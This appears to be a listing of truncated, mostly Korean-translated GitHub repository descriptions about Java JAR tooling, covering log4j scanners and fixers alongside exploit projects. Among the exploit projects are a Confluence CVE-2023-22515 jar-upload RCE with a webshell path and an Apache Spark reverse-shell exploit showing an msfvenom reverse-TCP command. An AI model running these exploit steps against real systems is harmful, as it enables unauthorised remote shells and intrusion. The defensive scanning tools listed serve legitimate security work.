Confluence-EvilJar

aaaademo/Confluence-EvilJar CVE-2023-22515와 함께 백그라운드에서 jar 파일을 업로드하여 RCE를 구현합니다. git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell http://confluence.local/plugins/servlet/testbin/cmServlet 哥斯拉 webshell 연결 방식...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 모든 Windows 서버, 전체 도메인, 다중 도메인에서 log4j 구성 요소를 식별합니다. CVE-2021-44228 1,000대 이상의 Windows 서버로 확장 가능하며, 한 번에 250대 이상의 서버를 처리합니다. 1,000대 서버는 약 1시간 30분이 걸렸습니다. Apache log4j CVE-2021-44228 단일 서버 버전: 단일 서버 버전 스크립트 실행: 내보내기: 설명: CVE-2021-44228을 위해 제작됨 필터를 사용하여 AD에서 모든 컴퓨터 개체를 검색합니다...

log4j-fix-CVE-2021-44228

log4j-fix-CVE-2021-44228 로컬 드라이브를 모두 스캔하고 log4jCVE-2021-44228 영향을 받은 jar 파일을 수정하기 위한 Windows 배치 스크립트 정상 작동을 위해 아래 설정이 필요합니다. SET ZIPPATH =C:\PROGRA1\7-Zip\7z.exe set RESULTFILENAME =log4jimpactedjars set APPLYFIX =FALSE set LOG4JLOGDIR =%temp% ZIPPATH 는 7Zip 실행 파일을 가리켜야 합니다. APPLYFIX TRUE - 모든 ja...

CVE-2022-39197-RCE

CVE-2022-39197-RCE 첫째 이 프로젝트는 @its-arun의 프로젝트 https://github.com/its-arun/CVE-2022-39197 에서 수정되었습니다. 스크립트를 테스트했을 때, frida 스크립트가 정상적인 순서로 데이터를 조회할 수 없다는 것을 발견했습니다. frida 스크립트를 수정하여 프로세스 이름을 수정하는 방식입니다. 이용 방법에 대한 기여를 해주신 Master @Kai5174 님께 감사드립니다. 사용법 Payload 준비 1. EvilJar/src/main/java/Exploit.jav...

HackBar

HackBar Burpsuite 플러그인 사용법 요구 사항 Burpsuite 설치 방법 Download Latest Jar from https://github.com/d3vilbug/HackBar/releases/ and add in burpsuite 테스트 환경 Burpsuite 2021.4 Windows 10 Ubuntu & PopOS 예정된 기능/모듈 Ctrl + H 단축키 WAF 우회 SQLi 디코더/인코더 감사 인사 An0n 3xPloiTeR https://github.com/Anon-Exploiter/ : SQLi ...

JarHunter

JarHunter – 고급 JAR 분석 및 추출 도구 JarHunter는 대용량 JAR 파일에서 특정 클래스를 빠르고 효율적으로 탐색, 검색 및 추출하도록 설계된 도구입니다. 수천 개의 클래스를 수동으로 탐색하는 대신, JarHunter를 사용하면 전체 JAR 파일에서 키워드를 검색하고 관련 클래스만 추출할 수 있습니다. 기능 JAR 구조 탐색기 JAR 전체 키워드 검색 최적화된 바이트코드 검색 다중 선택 추출 재구성된 Java 소스 내보내기 자동 보고서 생성 다크 테마 인터페이스 JarHunter는 여기에서 확인할 수 있습니...

checkmk-log4j-scanner

checkmk 확장 프로그램: log4j2 CVE-2021-44228 점검 이 플러그인은 logpresso/CVE-2021-44228-Scanner Apache License 2.0를 기반으로 합니다. 작동 방식 다음 5단계로 실행됩니다. 1. 모든 .jar, .war, .ear, .aar 파일을 재귀적으로 찾습니다. 2. JAR 파일에서 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 항목을 찾습니다. 3. groupId, artifactId, versio...

CVE-2021-44228-Scanner

log4j2-scan은 CVE-2021-44228 취약점 스캔 및 완화 패치를 위한 단일 바이너리 명령줄 도구입니다. 또한 중첩된 JAR 파일 스캔 및 패치를 지원하며, CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0, CVE-2021-44832 log4j 2.17.0, CVE-2021-4104, CVE-2019-17571, CVE-2017-5645, CVE-2020-9488, CVE-2022-23302, CVE-2022-23305, CVE-2022-23307 log4j 1...

CVE-2020-14756

CVE-2020-14756 coherence.jar の ExternalizableHelper.class による WebLogic T3/IIOP RCE README プロジェクトは https://github.com/Y4er/CVE-2020-2555 と weblogiccmd に基づいています 12.2.1.4.0 と jdk 1.8.0221 でテスト済み 参考 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2. https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ...

trivy-java-db

trivy-java-db 개요 trivy-java-db는 maven-index 저장소 데이터에서 SQLite 데이터베이스를 구축하며, jar 파일의 ArtifactID, GroupID, Version, sha1을 저장합니다. 이 DB는 Trivy에서 내부에 GAV가 없는 jars에 대한 정보를 찾는 데 사용됩니다. 업데이트 주기 매일 00:00 Java 인덱스 데이터베이스 다운로드 실제 컴파일된 데이터베이스는 Trivy 또는 Oras CLI를 통해 다운로드할 수 있습니다. Trivy: TRIVYTEMPDIR=$mktemp -d...

ansible-role-log4shell

Ansible 역할 - log4shell ⭐ GitHub에서 별표를 눌러주세요 — 큰 동기부여가 됩니다! 시스템에서 Log4Shell CVE-2021-44228을 찾습니다 이 역할은 파일 시스템과 열린 파일lsof에서 JAR 및 WAR을 찾으려고 합니다. ⚠️ /에서 find를 실행하고 JAR/WAR 내부를 검색하기 위해 압축 해제 과정을 수행하므로 스캔 중 시스템 속도가 느려질 수 있습니다. 이 역할은 다음과 같은 딕셔너리로 log4shellanalyzeversions 변수를 채웁니다: "/tmp/rundeck.war":...

fastjson-jsontype-rce-lab

Fastjson @JSONType 원격 JAR/FD 체인 연구소 및 탐지 이 저장소는 이제 두 개의 별도 Fastjson 연구 트랙을 제공합니다: modern-fd/는 권장되는 마커 전용 재구성으로, Spring Boot 3, 일반 임베디드 Tomcat 및 JDK 17에서 Fastjson 1.2.83 단일 본문 원격 JAR/파일 디스크립터 체인을 재현합니다. AutoType을 비활성화한 상태에서 리터럴 고정 DTO 싱크인 JSON.parseObjectbody, BoundEnvelope.class를 사용합니다. 원래 최상위...

jboss-_CVE-2017-12149

jboss-CVE-2017-12149 verifyCVE-2017-12149.jar은 명령줄 모드에서 취약점 검증 기능을 제공합니다. 취약점이 존재하면 특징 문자열이 반환되므로 다음 명령만 실행하면 됩니다: $ java -jar verifyCVE-2017-12149.jar http://xxx:8080 成功返回: vuln6581362514513155613jboss...

CVE-2022-40146_Exploit_Jar

Apache Batik SSRF to RCE Jar 익스플로잇 구성 요소 링크 https://github.com/apache/xmlgraphics-batik 블로그 https://www.zerodayinitiative.com/blog/2022/10/28/vulnerabilities-in-apache-batik-default-security-controls-ssrf-and-rce-through-remote-class-loading 사용법 명령을 변경하려면 src/main/java/com.poc.Poc.java의 11번째 줄을...

custom-bytecode-analyzer

custom-bytecode-analyzer Java bytecode analyzer customizable via JSON rules. It is a command-line tool that receives a path containing one or more Jar or War files, analyzes them using the provided rules and generates HTML reports with the results. Usage usage: java -jar cba-cli.jar OPTIONS -a...

dex2jar

dex2jar 프로젝트가GitHub로 이전되었습니다 | 미러| 위키| 다운로드| 이슈 ---|---|---|---|--- gh| https://github.com/pxb1988/dex2jar| Wiki| Releases| Issues sf| https://sourceforge.net/p/dex2jar| old| old| old bb| https://bitbucket.org/pxb1988/dex2jar| old| old| old gc| https://code.google.com/p/dex2jar| old| old| old...

cve-2023-50164

CVE-2023-50164 취약한 버전 Struts 2.0.0 - Struts 2.3.37 EOL Struts 2.5.0 - Struts 2.5.32 Struts 6.0.0 - Struts 6.3.0 취약점이 해결된 버전 Struts 2.5.33 Struts 6.3.0.2 검색 스크립트 Windows/PowerShell PowerShell 5.1 이상용. 작성자: Kjetil Sigvartsen Norsk helsenett SF. String$Extensions = @'.jar', '.war', '.ear'...

log4j-filescan

████████████████▀███████████████████████████████████████████████████████████████████ █▄─▄███─▄▄─█─▄▄▄▄█░█░████▄─▄█▀▀▀▀▀██▄─▄▄─█▄─▄█▄─▄███▄─▄▄─█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▀█▄─▄█ ██─██▀█─██─█─██▄─█▄▄░██─▄█─██████████─▄████─███─██▀██─▄█▀█▄▄▄▄─█─███▀██─▀─███─█▄▀─██...

CVE-2018-11770

CVE-2018-11770 Apache Spark 비인증 리버스 셸 RCE 이 Metasploit 모듈에서 재작성된 Apache Spark용 독립형 Python 3 RCE 익스플로잇 익스플로잇 POC는 여기에서 설명합니다. 익스플로잇 코드 자체는 여기에서 설명합니다. Python 3.7에서 이 대상으로 테스트되었습니다. 사용법: root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -...

chk_log4j

chklog4j - log4j CVE-2021-44228 に対して脆弱な jar ファイルを見つけるツール インストール 1. git clone https://github.com/gcmurphy/chklog4j 2. cd chklog4j && cargo install --path . 使い方 このツールは単一ファイルのみをチェックするため、fd のようなものと組み合わせて使用するのが最適です。 $ fd -a -e jar -x chklog4j...